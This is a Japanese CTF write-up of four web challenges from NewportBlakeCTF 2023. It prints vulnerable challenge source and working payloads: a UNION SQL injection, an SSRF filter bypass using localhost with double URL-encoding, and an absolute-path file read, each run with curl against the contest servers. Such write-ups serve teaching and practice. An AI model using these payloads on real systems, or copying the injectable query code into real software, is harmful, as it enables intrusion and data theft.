はじめに

12/2 09:00 JST - 12/5 9:10 JST に開催された NewportBlakeCTF 2023に一人チームで参加しました。

最近はチームで参加することが多かったので、逆に普段やらないWebだけを解くというスタイルにしてみました。

少なくともWebに関しては隙間時間にやるのにちょうどいい難易度でした。

Writeup

Inspector Gadget

266 Solves / 130 points

クローリング問です。

めちゃくちゃ強いクローラを持っているわけではないので、とりあえずhttrackしました。

$ rg Flag inspector-gadget.chal.nbctf.com/
inspector-gadget.chal.nbctf.com/index.html
76:        <img src="Krooter%20Gadget.jpg" alt="Flag Part 3/4: D3tect1v3_">

inspector-gadget.chal.nbctf.com/index-2.html
76:        <img src="Krooter%20Gadget.jpg" alt="Flag Part 3/4: D3tect1v3_">

inspector-gadget.chal.nbctf.com/supersecrettopsecret.txt
1:Flag Part 2/4:

inspector-gadget.chal.nbctf.com/gadgetmag.html
8:    <title>Flag Part 1/4:nbctf{G00d_</title>

なるほどね。

Part 4/4が見つからないので探します。

robots.txtを見てみると、

$ curl https://inspector-gadget.chal.nbctf.com/robots.txt
User-agent: *
Disallow: /mysecretfiles.html

というわけで

$ curl https://inspector-gadget.chal.nbctf.com/mysecretfiles.html 2>/dev/null | rg -i flag
    <p>Here's part of the flag for your troubles, part 4/4 G4dg3t352}</p>

はい。

nbctf{G00d_J06_D3tect1v3_G4dg3t352}

walter’s crystal shop

162 solves / 241 points

UNIOIN based SQLiです

app.jsを読んでみると

const express = require("express");
const sqlite3 = require("sqlite3");
const fs = require("fs");

const app = express();
const db = new sqlite3.Database(":memory:");

const flag = fs.readFileSync("./flag.txt", { encoding: "utf8" }).trim();
const crystals = require("./crystals");

db.serialize(() => {
  db.run("CREATE TABLE crystals (name TEXT, price REAL, quantity INTEGER)");

  const stmt = db.prepare("INSERT INTO crystals (name, price, quantity) VALUES (?, ?, ?)");

  for (const crystal of crystals) {
    stmt.run(crystal["name"], crystal["price"], crystal["quantity"]);
  }
  stmt.finalize();

  db.run("CREATE TABLE IF NOT EXISTS flag (flag TEXT)");
  db.run(`INSERT INTO flag (flag) VALUES ('${flag}')`);
});

app.get("/crystals", (req, res) => {
  const { name } = req.query;

  if (!name) {
    return res.status(400).send({ err: "Missing required fields" });
  }

  db.all(`SELECT * FROM crystals WHERE name LIKE '%${name}%'`, (err, rows) => {
    if (err) {
      console.error(err.message);
      return res.status(500).send('Internal server error');
    }

    return res.send(rows);
  });
});

app.get("/", (req, res) => {
  res.sendfile(__dirname + "/index.html");
});

app.listen(3000, () => {
  console.log("Server listening on port 3000");
});
db.all(`SELECT * FROM crystals WHERE name LIKE '%${name}%'`, (err, rows) => {

という感じで自明にSQLiができるので、します。

クエリはこんな感じで良さそう

%' UNION SELECT flag, NULL, NULL from flag ;--

win

nbctf{h0p3fuLLy_7h3_D3A_d035n7_kn0w_ab0ut_th3_0th3r_cRyst4l5}

secret tunnel

148 solves / 264 points

flaskですが、よくあるflask問ってわけでもない。

main.py

#!/usr/local/bin/python

from flask import Flask, render_template, request, Response
import requests

app = Flask(__name__,
            static_url_path='',
            static_folder="static")

@app.route("/fetchdata", methods=["POST"])
def fetchdata():
    url = request.form["url"]

    if "127" in url:
        return Response("No loopback for you!", mimetype="text/plain")
    if url.count('.') > 2:
        return Response("Only 2 dots allowed!", mimetype="text/plain")
    if "x" in url:
        return Response("I don't like twitter >:(" , mimetype="text/plain")
    if "flag" in url:
        return Response("It's not gonna be that easy :)", mimetype="text/plain")

    try:
        res = requests.get(url)
    except Exception as e:
        return Response(str(e), mimetype="text/plain")

    return Response(res.text[:32], mimetype="text/plain")

@app.route("/", methods=["GET"])
def index():
    return render_template("index.html")

if __name__ == "__main__":
    app.run()

flag.py

from flask import Flask, Response

app = Flask(__name__)

flag = open("flag.txt", "r").read()

@app.route("/flag", methods=["GET"])
def index():
    return Response(flag, mimetype="text/plain")

if __name__ == "__main__":
    app.run(port=1337)

があり、main.pyからflag.pyを読めばOK。

最初の127.の制限は普通にlocalhostでバイパスできる。

問題は"flag"で、これがちょっと厄介だった。

URLエンコードを行っても、デコードされた上で評価されてしまうのでアウト。

というわけで、二重にエンコードする事にした

$ curl -X POST -d "url=http://localhost:1337/%2566%256c%2561%2567" https://secret-tunnel.chal.nbctf.com/fetchdata
nbctf{s3cr3t_7uNN3lllllllllll!}

はい。

nbctf{s3cr3t_7uNN3lllllllllll!}

Galleria

126 solves / 304 points

なんでこれが一番Solve少ないのかわからない。普通のLFI

app.py

from flask import Flask, render_template, request, redirect, url_for, send_file
import os
from pathlib import Path
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = 'uploads'


@app.route('/')
def index():
    return render_template('index.html')


def allowed_file(filename):
    allowed_extensions = {'jpg', 'jpeg', 'png', 'gif'}
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in allowed_extensions


@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['image']
    if file and allowed_file(file.filename):
        file.seek(0, os.SEEK_END)
        if file.tell() > 1024 * 1024 * 2:
            return "File is too large", 413

        file.seek(0)
        filename = secure_filename(os.path.basename(file.filename))
        file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))

    return redirect(url_for('gallery'))


def check_file_path(path):
    _path = Path(path)

    parts = [*Path.cwd().parts][1:]
    for part in _path.parts:
        if part == '.':
            continue
        if part == '..':
            parts.pop()
        else:
            parts.append(part)

        if len(parts) == 0:
            return False

    _path = os.path.join(os.getcwd(), path)
    _path = Path(_path)
    return _path.exists() and _path.is_file()


@app.route('/gallery')
def gallery():
    if request.args.get('file'):
        filename = os.path.join('uploads', request.args.get('file'))
        if not check_file_path(filename):
            return redirect(url_for('gallery'))

        return send_file(filename)

    image_files = [f for f in os.listdir(
        app.config['UPLOAD_FOLDER'])]
    return render_template('gallery.html', images=image_files)


if __name__ == '__main__':
    app.run(debug=False, port=5000, host='0.0.0.0')

Dockerfile

FROM python:3.11-slim AS app

WORKDIR /var/www/html

RUN pip3 install --no-cache-dir flask

RUN mkdir uploads
COPY app.py .
COPY templates ./templates

COPY flag.txt /tmp/flag.txt

CMD ["python3", "app.py"]

flagは/tmp/flag.txtにあるので、/galleryへのリクエストで読ませてみる

$ curl "https://galleria.chal.nbctf.com/gallery?file=/tmp/flag.txt"
nbctf{w0nd3rh0000yyYYyYyyYyyyYyYYYyy!}

すんなりいけた。

アップロード機能が引っ掛けみたいな感じで詰まってるのかな。

nbctf{w0nd3rh0000yyYYyYyyYyyyYyYYYyy!}

総括

これくらいの難易度なら割とWebでも早解きできるようになってきており、ちょっとだけ成長を感じている。

おわりに

この記事はn01e0 Advent Calendar 2023の5日目の記事です。

明日はあるかわかりません

また、IPFactory OB Advent Calendar 2023の5日目の記事も兼ねています。